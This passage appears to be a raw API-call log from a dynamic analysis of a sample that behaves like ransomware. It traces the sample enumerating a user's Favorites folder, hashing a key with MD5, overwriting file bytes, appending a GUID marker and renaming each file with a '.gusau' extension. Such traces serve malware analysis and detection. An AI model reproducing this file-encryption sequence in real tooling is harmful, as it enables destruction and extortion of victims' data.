out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.211] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.211] GetLastError () returned 0x0 [0118.211] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.212] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0118.212] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.212] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.212] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.212] CloseHandle (hObject=0x610) returned 1 [0118.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.gusau")) returned 1 [0118.214] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0118.214] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0118.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.214] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.214] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.216] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.216] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.217] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.217] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.217] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.217] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.217] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0118.218] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.218] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.218] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.218] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.218] GetLastError () returned 0x0 [0118.218] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.218] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0118.218] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.218] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.218] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.219] CloseHandle (hObject=0x610) returned 1 [0118.219] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.gusau")) returned 1 [0118.220] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0118.220] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0118.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.222] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=134) returned 1 [0118.222] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.224] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.224] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.225] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x86, lpOverlapped=0x0) returned 1 [0118.225] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.225] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.225] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.225] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0118.226] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.226] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.226] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.226] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.226] GetLastError () returned 0x0 [0118.226] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.226] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0118.226] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.227] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.227] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.227] CloseHandle (hObject=0x610) returned 1 [0118.227] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.gusau")) returned 1 [0118.229] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0118.229] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.229] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.229] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0118.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0118.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.229] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.229] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.229] PathFindFileNameW (pszPath="") returned="" [0118.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.230] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.230] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0118.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.230] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0118.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.230] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.230] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.233] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.233] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.234] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.234] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.234] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.234] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.234] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.234] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.234] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.235] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.235] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.235] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.235] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.235] GetLastError () returned 0x0 [0118.235] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.235] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.235] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.235] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.235] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.235] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.235] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.235] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.236] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.236] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.236] CloseHandle (hObject=0x610) returned 1 [0118.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.236] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.gusau")) returned 1 [0118.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.237] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.238] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0118.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.238] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.238] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.238] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0118.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.239] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.241] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.241] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.242] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.242] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.242] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.242] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.242] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.243] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.243] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.243] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.243] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.243] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.243] GetLastError () returned 0x0 [0118.243] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.244] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.244] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.244] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.244] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, 